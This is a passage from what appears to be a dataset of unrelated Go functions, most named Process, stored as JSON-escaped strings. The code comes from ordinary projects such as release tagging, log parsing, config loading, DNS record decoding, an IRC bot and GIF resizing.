fmt.Sprintf(\\\"v1.0.%d-beta.%s\\\", payload.Repository.PushedAt, branch)\\n\\t\\t\\tprerelease = true\\n\\t\\t}\\n\\n\\t\\tif err = s.repo.CreateTag(path, version, \\\"Automated tag by Protofact.\\\"); err != nil {\\n\\t\\t\\ts.metrics.AddPackagingErrors(prometheus.Labels{\\\"type\\\": \\\"release\\\"}, 1)\\n\\t\\t\\ts.logger.Errorf(\\\"%+v\\\\n\\\", err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tif err = s.repo.PushTags(path); err != nil {\\n\\t\\t\\ts.metrics.AddPackagingErrors(prometheus.Labels{\\\"type\\\": \\\"release\\\"}, 1)\\n\\t\\t\\ts.logger.Errorf(\\\"%+v\\\\n\\\", err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tbodyMsg := \\\"Automated release by Protofact.\\\"\\n\\t\\trel := github.RepositoryRelease{\\n\\t\\t\\tTagName: &version,\\n\\t\\t\\tName: &version,\\n\\t\\t\\tBody: &bodyMsg,\\n\\t\\t\\tPrerelease: &prerelease,\\n\\t\\t}\\n\\n\\t\\t_, err = s.repo.CreateRelease(ctx, payload.Repository.Owner.Login, payload.Repository.Name, &rel)\\n\\t\\tif err != nil {\\n\\t\\t\\ts.metrics.AddPackagingErrors(prometheus.Labels{\\\"type\\\": \\\"release\\\"}, 1)\\n\\t\\t\\ts.logger.Errorf(\\\"%+v\\\\n\\\", err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tduration := time.Since(start)\\n\\t\\ts.metrics.AddPackagingProcessDuration(prometheus.Labels{}, duration.Seconds())\\n\\n\\t\\treturn\\n\\t}\\n}\",\n \"func (t *treeSimplifier) process(tree *parse.Tree) {\\n\\tt.tree = tree\\n\\trenameVariables(tree.Root)\\n\\tfor t.browseNodes(tree.Root) {\\n\\t\\t// printer.PrintContent(tree) // useful for debug sometimes.\\n\\t\\tt.reset()\\n\\t}\\n}\",\n \"func process(file string, pattern string) {\\n\\terr := fsutil.ValidatePerms(\\\"FRS\\\", file)\\n\\n\\tif err != nil {\\n\\t\\tprintErrorAndExit(err.Error())\\n\\t}\\n\\n\\tdoc, errs := parser.Parse(file)\\n\\n\\tif len(errs) != 0 {\\n\\t\\tprintErrorsAndExit(errs)\\n\\t}\\n\\n\\tif !doc.IsValid() {\\n\\t\\tprintWarn(\\\"File %s doesn't contains any documentation\\\", file)\\n\\t\\tos.Exit(2)\\n\\t}\\n\\n\\tif options.GetS(OPT_NAME) != \\\"\\\" {\\n\\t\\tdoc.Title = options.GetS(OPT_NAME)\\n\\t}\\n\\n\\tif options.GetS(OPT_OUTPUT) == \\\"\\\" {\\n\\t\\terr = terminal.Render(doc, pattern)\\n\\t} else {\\n\\t\\terr = template.Render(\\n\\t\\t\\tdoc,\\n\\t\\t\\toptions.GetS(OPT_TEMPLATE),\\n\\t\\t\\toptions.GetS(OPT_OUTPUT),\\n\\t\\t)\\n\\t}\\n\\n\\tif err != nil {\\n\\t\\tprintErrorAndExit(err.Error())\\n\\t}\\n}\",\n \"func (c *FileMessageWriter) Process() {\\n\\n\\ttargetFile := TargetFile{}\\n\\n\\tfor msg := range c.Msg {\\n\\n\\t\\tfilePath := <-c.TargetFilePath\\n\\t\\tf, _ := targetFile.Get(filePath)\\n\\t\\tdefer f.Close()\\n\\n\\t\\tfmt.Fprintf(f, \\\"%v\\\", msg)\\n\\t}\\n\\n}\",\n \"func (p *Processor) Process() *Skelington {\\n\\ts := newSkelington(p.hookHolder, p.statHolder)\\n\\tret := p.Allocate(s, p.file, p.root, p.offset, p.manageError)\\n\\treturn ret\\n}\",\n \"func (p *PostProcessor) PostProcess(ctx context.Context, ui packer.Ui, artifact packer.Artifact) (packer.Artifact, bool, bool, error) {\\n\\n\\tui.Say(fmt.Sprintf(\\\"%s\\\", artifact.String()))\\n\\n\\tif p.config.AmiID != nil {\\n\\t\\tr, _ := regexp.Compile(\\\"ami-[a-z0-9]+\\\")\\n\\t\\tamiID := r.FindString(artifact.Id())\\n\\n\\t\\tfor file, properties := range p.config.AmiID {\\n\\t\\t\\terr := EnsureJSONFileExists(file)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn artifact, false, false, err\\n\\t\\t\\t}\\n\\t\\t\\terr = UpdateJSONFile(file, properties, amiID, ui)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn artifact, false, false, err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn artifact, true, false, nil\\n}\",\n \"func (w *Walker) processFile(path string, info os.FileInfo, err error) error {\\n\\t_l := metrics.StartLogDiff(\\\"process-file\\\")\\n\\n\\t// Output a number to the user\\n\\tw.liveCounter()\\n\\n\\t// Skip directories, of course\\n\\tif info.IsDir() {\\n\\t\\tmetrics.StopLogDiff(\\\"process-file\\\", _l)\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// Get the file contents\\n\\tdata := readFile(path)\\n\\n\\t// And call `ipfs dag put`\\n\\timportIntoIPFS(w.ipfs, data)\\n\\n\\tmetrics.StopLogDiff(\\\"process-file\\\", _l)\\n\\treturn nil\\n}\",\n \"func (s *BaseSyslParserListener) EnterTransform_arg(ctx *Transform_argContext) {}\",\n \"func (proc *Processor) Process(p *peer.Peer, msgType message.Type, data []byte) {\\n\\tproc.wp.Submit(p, msgType, data)\\n}\",\n \"func (m *Manager) ProcessArchetype(archetype *Archetype) (errs error) {\\n\\tif archetype.isProcessing {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// Eh... This isn't quite right, but pretty much everything we process and compile should retain an uncompiled version... TODO: Do some initial type parsing, if possible, then only copy the archetype to uncompiled if it is a type we want to keep an uncompiled version of around.\\n\\tif archetype.uncompiled == nil && (!archetype.isCompiled && !archetype.isCompiling) {\\n\\t\\tvar original Archetype\\n\\t\\tcopier.Copy(&original, archetype)\\n\\t\\tarchetype.uncompiled = &original\\n\\t}\\n\\n\\tarchetype.isProcessing = true\\n\\tif archetype.Anim != \\\"\\\" {\\n\\t\\tarchetype.AnimID = m.Strings.Acquire(archetype.Anim)\\n\\t\\tarchetype.Anim = \\\"\\\"\\n\\t}\\n\\tif archetype.Face != \\\"\\\" {\\n\\t\\tarchetype.FaceID = m.Strings.Acquire(archetype.Face)\\n\\t\\tarchetype.Face = \\\"\\\"\\n\\t}\\n\\t// Add Arch to Archs if defined.\\n\\tif archetype.Arch != \\\"\\\" {\\n\\t\\tarchetype.Archs = append(archetype.Archs, archetype.Arch)\\n\\t\\tarchetype.Arch = \\\"\\\"\\n\\t}\\n\\n\\t// Process audio\\n\\tif archetype.Audio != \\\"\\\" {\\n\\t\\tarchetype.AudioID = m.Strings.Acquire(archetype.Audio)\\n\\t\\tarchetype.Audio = \\\"\\\"\\n\\t}\\n\\tif archetype.SoundSet != \\\"\\\" {\\n\\t\\tarchetype.SoundSetID = m.Strings.Acquire(archetype.SoundSet)\\n\\t\\tarchetype.SoundSet = \\\"\\\"\\n\\t}\\n\\n\\t// Convert Archs into ArchIDs\\n\\tfor _, archname := range archetype.Archs {\\n\\t\\tisAdd := false\\n\\t\\tif archname[0] == '+' {\\n\\t\\t\\tarchname = archname[1:]\\n\\t\\t\\tisAdd = true\\n\\t\\t}\\n\\t\\ttargetID := m.Strings.Acquire(archname)\\n\\t\\tancestorArchetype, err := m.GetArchetype(targetID)\\n\\t\\tif err != nil {\\n\\t\\t\\terrs = errors.Join(errs, fmt.Errorf(\\\"\\\\\\\"%s\\\\\\\" does not exist\\\", archname))\\n\\t\\t} else {\\n\\t\\t\\tmergeArch := MergeArch{\\n\\t\\t\\t\\tID: targetID,\\n\\t\\t\\t\\tType: ArchMerge,\\n\\t\\t\\t}\\n\\t\\t\\tif isAdd {\\n\\t\\t\\t\\tmergeArch.Type = ArchAdd\\n\\t\\t\\t}\\n\\t\\t\\tarchetype.ArchIDs = append(archetype.ArchIDs, mergeArch)\\n\\t\\t\\tarchetype.ArchPointers = append(archetype.ArchPointers, ancestorArchetype)\\n\\t\\t}\\n\\t}\\n\\t//archetype.Archs = nil // Might as well keep the Archs references, I suppose\\n\\n\\t// Process Inventory.\\n\\tfor i := range archetype.Inventory {\\n\\t\\tif err := m.ProcessArchetype(&archetype.Inventory[i]); err != nil {\\n\\t\\t\\terrs = errors.Join(errs, err)\\n\\t\\t}\\n\\t}\\n\\n\\t// Process type hint\\n\\tfor _, v := range archetype.TypeHints {\\n\\t\\tarchetype.TypeHintIDs = append(archetype.TypeHintIDs, m.Strings.Acquire(v))\\n\\t\\tm.TypeHints[m.Strings.Acquire(v)] = v\\n\\t}\\n\\n\\t// Process Slots. FIXME: This parsing of all strings for sending slot information feels awful.\\n\\tarchetype.Slots.HasIDs = make(map[uint32]int)\\n\\tfor k, v := range archetype.Slots.Has {\\n\\t\\tslot := m.Strings.Acquire(k)\\n\\t\\tarchetype.Slots.HasIDs[slot] = v\\n\\t\\tm.Slots[slot] = k\\n\\t}\\n\\tarchetype.Slots.UsesIDs = make(map[uint32]int)\\n\\tfor k, v := range archetype.Slots.Uses {\\n\\t\\tslot := m.Strings.Acquire(k)\\n\\t\\tarchetype.Slots.UsesIDs[slot] = v\\n\\t\\tm.Slots[slot] = k\\n\\t}\\n\\tarchetype.Slots.GivesIDs = make(map[uint32]int)\\n\\tfor k, v := range archetype.Slots.Gives {\\n\\t\\tslot := m.Strings.Acquire(k)\\n\\t\\tarchetype.Slots.GivesIDs[slot] = v\\n\\t\\tm.Slots[slot] = k\\n\\t}\\n\\tarchetype.Slots.Needs.MinIDs = make(map[uint32]int)\\n\\tarchetype.Slots.Needs.Min = make(map[string]int)\\n\\tfor k, v := range archetype.Slots.Needs.Min {\\n\\t\\tslot := m.Strings.Acquire(k)\\n\\t\\tarchetype.Slots.Needs.MinIDs[slot] = v\\n\\t\\tm.Slots[slot] = k\\n\\t}\\n\\tarchetype.Slots.Needs.MaxIDs = make(map[uint32]int)\\n\\tfor k, v := range archetype.Slots.Needs.Max {\\n\\t\\tslot := m.Strings.Acquire(k)\\n\\t\\tarchetype.Slots.Needs.MaxIDs[slot] = v\\n\\t\\tm.Slots[slot] = k\\n\\t}\\n\\n\\t// Process Events' archetypes.\\n\\tprocessEventResponses := func(e *EventResponses) error {\\n\\t\\tvar errs error\\n\\t\\tif e == nil {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t\\tif e.Spawn != nil {\\n\\t\\t\\tfor _, a := range e.Spawn.Items {\\n\\t\\t\\t\\tif err := m.ProcessArchetype(a.Archetype); err != nil {\\n\\t\\t\\t\\t\\terrs = errors.Join(errs, err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif e.Replace != nil {\\n\\t\\t\\tfor _, a := range *e.Replace {\\n\\t\\t\\t\\tif err := m.ProcessArchetype(a.Archetype); err != nil {\\n\\t\\t\\t\\t\\terrs = errors.Join(errs, err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn nil\\n\\t}\\n\\tif archetype.Events != nil {\\n\\t\\tif err := processEventResponses(archetype.Events.Birth); err != nil {\\n\\t\\t\\terrs = errors.Join(errs, err)\\n\\t\\t}\\n\\t\\tif err := processEventResponses(archetype.Events.Death); err != nil {\\n\\t\\t\\terrs = errors.Join(errs, err)\\n\\t\\t}\\n\\t\\tif err := processEventResponses(archetype.Events.Advance); err != nil {\\n\\t\\t\\terrs = errors.Join(errs, err)\\n\\t\\t}\\n\\t\\tif err := processEventResponses(archetype.Events.Hit); err != nil {\\n\\t\\t\\terrs = errors.Join(errs, err)\\n\\t\\t}\\n\\t}\\n\\n\\treturn errs\\n}\",\n \"func (ep *EventProcessor) Process(eb *core.EventBatch) *core.EventBatch {\\n\\tfor _, event := range eb.Events {\\n\\t\\tif event.Reason == podOOMKilling {\\n\\t\\t\\tevent.InvolvedObject.Kind = \\\"Pod\\\"\\n\\t\\t\\trst := podOOMRegex.FindStringSubmatch(event.Message)\\n\\t\\t\\tif len(rst) >= 5 {\\n\\t\\t\\t\\tevent.InvolvedObject.Name = rst[2]\\n\\t\\t\\t\\tevent.InvolvedObject.Namespace = rst[3]\\n\\t\\t\\t\\tevent.InvolvedObject.UID = types.UID(rst[4])\\n\\n\\t\\t\\t\\tevent.ObjectMeta.Name = event.InvolvedObject.Name\\n\\t\\t\\t\\tevent.ObjectMeta.Namespace = event.InvolvedObject.Namespace\\n\\t\\t\\t\\tevent.ObjectMeta.UID = event.InvolvedObject.UID\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn eb\\n}\",\n \"func (g *groupTransformation) ProcessMessage(m Message) error {\\n\\tdefer m.Ack()\\n\\n\\tswitch m := m.(type) {\\n\\tcase FinishMsg:\\n\\t\\tg.Finish(m.SrcDatasetID(), m.Error())\\n\\t\\treturn nil\\n\\tcase ProcessChunkMsg:\\n\\t\\treturn g.t.Process(m.TableChunk(), g.d, g.d.mem)\\n\\tcase FlushKeyMsg:\\n\\t\\treturn nil\\n\\tcase ProcessMsg:\\n\\t\\treturn g.Process(m.SrcDatasetID(), m.Table())\\n\\t}\\n\\treturn nil\\n}\",\n \"func Process(prefix string, spec interface{}) error {\\n\\tenv := environment()\\n\\tinfos, err := gatherInfoForProcessing(prefix, spec, env)\\n\\n\\tfor _, info := range infos {\\n\\t\\tvalue, ok := env[info.Key]\\n\\t\\tif !ok && info.Alt != \\\"\\\" {\\n\\t\\t\\tvalue, ok = env[info.Alt]\\n\\t\\t}\\n\\n\\t\\tdef := info.Tags.Get(\\\"default\\\")\\n\\t\\tif def != \\\"\\\" && !ok {\\n\\t\\t\\tvalue = def\\n\\t\\t}\\n\\n\\t\\treq := info.Tags.Get(\\\"required\\\")\\n\\t\\tif !ok && def == \\\"\\\" {\\n\\t\\t\\tif isTrue(req) {\\n\\t\\t\\t\\tkey := info.Key\\n\\t\\t\\t\\tif info.Alt != \\\"\\\" {\\n\\t\\t\\t\\t\\tkey = info.Alt\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\treturn fmt.Errorf(\\\"required key %s missing value\\\", key)\\n\\t\\t\\t}\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\terr = processField(value, info.Field)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn &ParseError{\\n\\t\\t\\t\\tKeyName: info.Key,\\n\\t\\t\\t\\tFieldName: info.Name,\\n\\t\\t\\t\\tTypeName: info.Field.Type().String(),\\n\\t\\t\\t\\tValue: value,\\n\\t\\t\\t\\tErr: err,\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn err\\n}\",\n \"func ProcessRecord(res *as.Result, generations map[uint32]uint64, expirations map[uint32]uint64) {\\n\\tt := time.Now()\\n\\texpDate, err := strconv.ParseUint(t.Add(time.Duration(res.Record.Expiration)*time.Second).Format(intermediateDateForm), 10, 32)\\n\\texpirationDate := uint32(expDate)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Unable to convert the expiration ttl to a uint date: %d - %s\\\\n\\\", res.Record.Expiration, err)\\n\\t}\\n\\tgen := res.Record.Generation\\n\\tif _, ok := generations[gen]; ok {\\n\\t\\tgenerations[gen]++\\n\\t} else {\\n\\t\\tgenerations[gen] = 1\\n\\t}\\n\\tif _, ok := expirations[expirationDate]; ok {\\n\\t\\texpirations[expirationDate]++\\n\\t} else {\\n\\t\\texpirations[expirationDate] = 1\\n\\t}\\n}\",\n \"func (c *changeCache) processEntry(change *LogEntry) channels.Set {\\n\\tc.lock.Lock()\\n\\tdefer c.lock.Unlock()\\n\\tif c.logsDisabled {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tsequence := change.Sequence\\n\\tif change.Sequence > c.internalStats.highSeqFeed {\\n\\t\\tc.internalStats.highSeqFeed = change.Sequence\\n\\t}\\n\\n\\t// Duplicate handling - there are a few cases where processEntry can be called multiple times for a sequence:\\n\\t// - recentSequences for rapidly updated documents\\n\\t// - principal mutations that don't increment sequence\\n\\t// We can cancel processing early in these scenarios.\\n\\t// Check if this is a duplicate of an already processed sequence\\n\\tif sequence < c.nextSequence && !c.WasSkipped(sequence) {\\n\\t\\tbase.DebugfCtx(c.logCtx, base.KeyCache, \\\" Ignoring duplicate of #%d\\\", sequence)\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// Check if this is a duplicate of a pending sequence\\n\\tif _, found := c.receivedSeqs[sequence]; found {\\n\\t\\tbase.DebugfCtx(c.logCtx, base.KeyCache, \\\" Ignoring duplicate of #%d\\\", sequence)\\n\\t\\treturn nil\\n\\t}\\n\\tc.receivedSeqs[sequence] = struct{}{}\\n\\n\\tvar changedChannels channels.Set\\n\\tif sequence == c.nextSequence || c.nextSequence == 0 {\\n\\t\\t// This is the expected next sequence so we can add it now:\\n\\t\\tchangedChannels = channels.SetFromArrayNoValidate(c._addToCache(change))\\n\\t\\t// Also add any pending sequences that are now contiguous:\\n\\t\\tchangedChannels = changedChannels.Update(c._addPendingLogs())\\n\\t} else if sequence > c.nextSequence {\\n\\t\\t// There's a missing sequence (or several), so put this one on ice until it arrives:\\n\\t\\theap.Push(&c.pendingLogs, change)\\n\\t\\tnumPending := len(c.pendingLogs)\\n\\t\\tc.internalStats.pendingSeqLen = numPending\\n\\t\\tif base.LogDebugEnabled(base.KeyCache) {\\n\\t\\t\\tbase.DebugfCtx(c.logCtx, base.KeyCache, \\\" Deferring #%d (%d now waiting for #%d...#%d) doc %q / %q\\\",\\n\\t\\t\\t\\tsequence, numPending, c.nextSequence, c.pendingLogs[0].Sequence-1, base.UD(change.DocID), change.RevID)\\n\\t\\t}\\n\\t\\t// Update max pending high watermark stat\\n\\t\\tif numPending > c.internalStats.maxPending {\\n\\t\\t\\tc.internalStats.maxPending = numPending\\n\\t\\t}\\n\\n\\t\\tif numPending > c.options.CachePendingSeqMaxNum {\\n\\t\\t\\t// Too many pending; add the oldest one:\\n\\t\\t\\tchangedChannels = c._addPendingLogs()\\n\\t\\t}\\n\\t} else if sequence > c.initialSequence {\\n\\t\\t// Out-of-order sequence received!\\n\\t\\t// Remove from skipped sequence queue\\n\\t\\tif !c.WasSkipped(sequence) {\\n\\t\\t\\t// Error removing from skipped sequences\\n\\t\\t\\tbase.InfofCtx(c.logCtx, base.KeyCache, \\\" Received unexpected out-of-order change - not in skippedSeqs (seq %d, expecting %d) doc %q / %q\\\", sequence, c.nextSequence, base.UD(change.DocID), change.RevID)\\n\\t\\t} else {\\n\\t\\t\\tbase.InfofCtx(c.logCtx, base.KeyCache, \\\" Received previously skipped out-of-order change (seq %d, expecting %d) doc %q / %q \\\", sequence, c.nextSequence, base.UD(change.DocID), change.RevID)\\n\\t\\t\\tchange.Skipped = true\\n\\t\\t}\\n\\n\\t\\tchangedChannels = changedChannels.UpdateWithSlice(c._addToCache(change))\\n\\t\\t// Add to cache before removing from skipped, to ensure lowSequence doesn't get incremented until results are available\\n\\t\\t// in cache\\n\\t\\terr := c.RemoveSkipped(sequence)\\n\\t\\tif err != nil {\\n\\t\\t\\tbase.DebugfCtx(c.logCtx, base.KeyCache, \\\"Error removing skipped sequence: #%d from cache: %v\\\", sequence, err)\\n\\t\\t}\\n\\t}\\n\\treturn changedChannels\\n}\",\n \"func (record *RecordTypeSRV) Process(a Answer) {\\n\\n\\tpriority := decodePart(a.Data, 0, 2)\\n\\tweight := decodePart(a.Data, 2, 4)\\n\\tport := decodePart(a.Data, 4, 6)\\n\\n\\ttarget, _ := decodeQname(a.Data[6:])\\n\\n\\trecord.Priority = priority\\n\\trecord.Weight = weight\\n\\trecord.Port = port\\n\\trecord.Target = target\\n}\",\n \"func (job *JOB) Process(ctx context.Context, rsp *http.Response) error {\\n\\tif rsp.StatusCode != http.StatusOK {\\n\\t\\treturn errors.New(rsp.Status)\\n\\t}\\n\\tdefer rsp.Body.Close()\\n\\n\\tvar result Result\\n\\tif err := json.NewDecoder(rsp.Body).Decode(&result); err != nil {\\n\\t\\treturn errors.Annotate(err, \\\"json decode\\\")\\n\\t}\\n\\tlog.Println(\\\"Parks count:\\\", len(result.Items[0].Parks))\\n\\tfor _, item := range result.Items {\\n\\t\\tfor _, park := range item.Parks {\\n\\t\\t\\tif err := job.updateParkStatus(ctx, park); err != nil {\\n\\t\\t\\t\\tlog.Println(\\\"WARN: park status refresh failed: \\\", err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func TransformCommand(c *cli.Context) error {\\n\\tif c.NArg() != 1 {\\n\\t\\tcli.ShowCommandHelp(c, \\\"transform\\\")\\n\\n\\t\\treturn fmt.Errorf(\\\"Missing required argument FILE\\\")\\n\\t}\\n\\n\\tfhirVersion := c.GlobalString(\\\"fhir\\\")\\n\\tfilename := c.Args().Get(0)\\n\\n\\tfileContent, err := ioutil.ReadFile(filename)\\n\\n\\tif err != nil {\\n\\t\\treturn errors.Wrapf(err, \\\"Error reading file %s\\\", filename)\\n\\t}\\n\\n\\titer := jsoniter.ConfigFastest.BorrowIterator(fileContent)\\n\\tdefer jsoniter.ConfigFastest.ReturnIterator(iter)\\n\\n\\tres := iter.Read()\\n\\n\\tif res == nil {\\n\\t\\treturn errors.Wrapf(err, \\\"Error parsing file %s as JSON\\\", filename)\\n\\t}\\n\\n\\tout, err := doTransform(res.(map[string]interface{}), fhirVersion)\\n\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"Error performing transformation\\\")\\n\\t}\\n\\n\\toutJson, err := jsoniter.ConfigFastest.MarshalIndent(out, \\\"\\\", \\\" \\\")\\n\\n\\tos.Stdout.Write(outJson)\\n\\tos.Stdout.Write([]byte(\\\"\\\\n\\\"))\\n\\n\\treturn nil\\n}\",\n \"func (l *Lists)Process(vc VerbContext, args []string) string {\\n\\tif l.Lists == nil {\\n\\t\\tl.Lists = map[string]List{}\\n\\t}\\n\\n\\tif len(args) == 0 {\\n\\t\\treturn l.String()\\n\\t} else if len(args) == 1 {\\n\\t\\tif _,exists := l.Lists[args[0]]; exists {\\n\\t\\t\\treturn l.Lists[args[0]].String()\\n\\t\\t} else {\\n\\t\\t\\treturn fmt.Sprintf(\\\"You don't have a list of '%s'\\\", args[0])\\n\\t\\t}\\n\\t}\\n\\n\\tif _,exists := l.Lists[args[0]]; !exists {\\n\\t\\tl.Lists[args[0]] = NewList()\\n\\t}\\n\\n\\tlist, action, args := args[0], args[1], args[2:]\\n\\tn := 1\\n\\n\\t// If there is a quantity, shift it off\\n\\tif len(args) > 1 {\\n\\t\\tif val,err := strconv.Atoi(args[0]); err == nil {\\n\\t\\t\\tn = val\\n\\t\\t\\targs = args[1:]\\n\\t\\t}\\n\\t}\\n\\n\\tif action == \\\"remove\\\" {\\n\\t\\tn *= -1\\n\\t} else if action != \\\"add\\\" {\\n\\t\\treturn l.Help()\\n\\t}\\n\\n\\tl.Lists[list].Update(strings.Join(args, \\\" \\\"), n)\\n\\n\\treturn l.Lists[list].String()\\n}\",\n \"func (joint UrlFilterJoint) Process(context *model.Context) error {\\n\\n\\tsnapshot := context.MustGet(model.CONTEXT_SNAPSHOT).(*model.Snapshot)\\n\\n\\toriginalUrl := context.GetStringOrDefault(model.CONTEXT_TASK_OriginalUrl, \\\"\\\")\\n\\turl := context.MustGetString(model.CONTEXT_TASK_URL)\\n\\thost := context.MustGetString(model.CONTEXT_TASK_Host)\\n\\tif url == \\\"\\\" {\\n\\t\\tcontext.Exit(\\\"nil url\\\")\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif originalUrl != \\\"\\\" {\\n\\t\\tif !joint.validRule(urlMatchRule, originalUrl) {\\n\\t\\t\\tcontext.Exit(\\\"invalid url (original), \\\" + originalUrl)\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n\\n\\tif !joint.validRule(urlMatchRule, url) {\\n\\t\\tcontext.Exit(\\\"invalid url, \\\" + url)\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif !joint.validRule(hostMatchRule, host) {\\n\\t\\tcontext.Exit(\\\"invalid host, \\\" + host)\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif !joint.validRule(pathMatchRule, snapshot.Path) {\\n\\t\\tcontext.Exit(\\\"invalid path, \\\" + snapshot.Path)\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif !joint.validRule(fileMatchRule, snapshot.File) {\\n\\t\\tcontext.Exit(\\\"invalid file, \\\" + snapshot.File)\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif !joint.validRule(fileExtensionMatchRule, util.FileExtension(snapshot.File)) {\\n\\t\\tcontext.Exit(\\\"invalid file extension, \\\" + snapshot.File)\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (p *MultiLineParser) process(input *DecodedInput) {\\n\\tcontent, status, timestamp, partial, err := p.parser.Parse(input.content)\\n\\tif err != nil {\\n\\t\\tlog.Debug(err)\\n\\t}\\n\\t// track the raw data length and the timestamp so that the agent tails\\n\\t// from the right place at restart\\n\\tp.rawDataLen += input.rawDataLen\\n\\tp.timestamp = timestamp\\n\\tp.status = status\\n\\tp.buffer.Write(content)\\n\\n\\tif !partial || p.buffer.Len() >= p.lineLimit {\\n\\t\\t// the current chunk marks the end of an aggregated line\\n\\t\\tp.sendLine()\\n\\t}\\n}\",\n \"func (c *v1Conn) Process(hooks EventHooks) {\\n\\tvar err error\\n\\tvar line string\\n\\tfor err == nil {\\n\\t\\tline, err = c.readline()\\n\\t\\tif len(line) == 0 {\\n\\t\\t\\t// eof (proably?)\\n\\t\\t\\tc.Close()\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tuline := strings.ToUpper(line)\\n\\t\\tparts := strings.Split(uline, \\\" \\\")\\n\\t\\thandler, ok := c.cmds[parts[0]]\\n\\t\\tif ok {\\n\\t\\t\\t// we know the command\\n\\t\\t\\terr = handler(c, line, hooks)\\n\\t\\t} else {\\n\\t\\t\\t// we don't know the command\\n\\t\\t\\terr = c.printfLine(\\\"%s Unknown Command: %s\\\", RPL_UnknownCommand, line)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (cl *List) Process(bot *hbot.Bot, m *hbot.Message) {\\n\\t// Is the first character our command prefix?\\n\\tif m.Content[:1] == cl.Prefix {\\n\\t\\tparts := strings.Fields(m.Content[1:])\\n\\t\\tcommandstring := parts[0]\\n\\t\\tcmd, ok := cl.Commands[commandstring]\\n\\t\\tif !ok {\\n\\t\\t\\tif commandstring == \\\"help\\\" {\\n\\t\\t\\t\\tif len(parts) < 2 {\\n\\t\\t\\t\\t\\tbot.Msg(m.From, \\\"Here's what I can do:\\\")\\n\\t\\t\\t\\t\\tvar commands bytes.Buffer\\n\\t\\t\\t\\t\\ti := 0\\n\\t\\t\\t\\t\\tfor _, cmd := range cl.Commands {\\n\\t\\t\\t\\t\\t\\ti = i + 1\\n\\t\\t\\t\\t\\t\\tcommands.WriteString(cmd.Name)\\n\\t\\t\\t\\t\\t\\tif i != len(cl.Commands) {\\n\\t\\t\\t\\t\\t\\t\\tcommands.WriteString(\\\", \\\")\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tbot.Msg(m.From, commands.String())\\n\\t\\t\\t\\t\\tbot.Msg(m.From, fmt.Sprintf(\\\"The prefix for all these commands is: \\\\\\\"%s\\\\\\\"\\\", cl.Prefix))\\n\\t\\t\\t\\t\\tbot.Msg(m.From, fmt.Sprintf(\\\"See %shelp for detailed information\\\", cl.Prefix))\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\thelpcmd, helpok := cl.Commands[parts[1]]\\n\\t\\t\\t\\t\\tif helpok {\\n\\t\\t\\t\\t\\t\\tbot.Msg(m.From, fmt.Sprintf(\\\"%s: %s\\\", helpcmd.Description, helpcmd.Usage))\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\tbot.Msg(m.From, fmt.Sprintf(\\\"No such command: %s\\\", parts[1]))\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\t// looks good, get the quote and reply with the result\\n\\t\\tbot.Logger.Debug(\\\"action\\\", \\\"start processing\\\",\\n\\t\\t\\t\\\"args\\\", parts,\\n\\t\\t\\t\\\"full text\\\", m.Content)\\n\\t\\tgo func(m *hbot.Message) {\\n\\t\\t\\tbot.Logger.Debug(\\\"action\\\", \\\"executing\\\",\\n\\t\\t\\t\\t\\\"full text\\\", m.Content)\\n\\t\\t\\tif len(parts) > 1 {\\n\\t\\t\\t\\tcmd.Run(m, parts[1:])\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tcmd.Run(m, []string{})\\n\\t\\t\\t}\\n\\t\\t}(m)\\n\\t}\\n}\",\n \"func Process(w io.Writer, r io.Reader, transform TransformFunc) error {\\n\\tif transform == nil {\\n\\t\\t_, err := io.Copy(w, r)\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Decode the original gif.\\n\\tim, err := gif.DecodeAll(r)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Create a new RGBA image to hold the incremental frames.\\n\\tfirstFrame := im.Image[0].Bounds()\\n\\tb := image.Rect(0, 0, firstFrame.Dx(), firstFrame.Dy())\\n\\timg := image.NewRGBA(b)\\n\\n\\t// Resize each frame.\\n\\tfor index, frame := range im.Image {\\n\\t\\tbounds := frame.Bounds()\\n\\t\\tprevious := img\\n\\t\\tdraw.Draw(img, bounds, frame, bounds.Min, draw.Over)\\n\\t\\tim.Image[index] = imageToPaletted(transform(img), frame.Palette)\\n\\n\\t\\tswitch 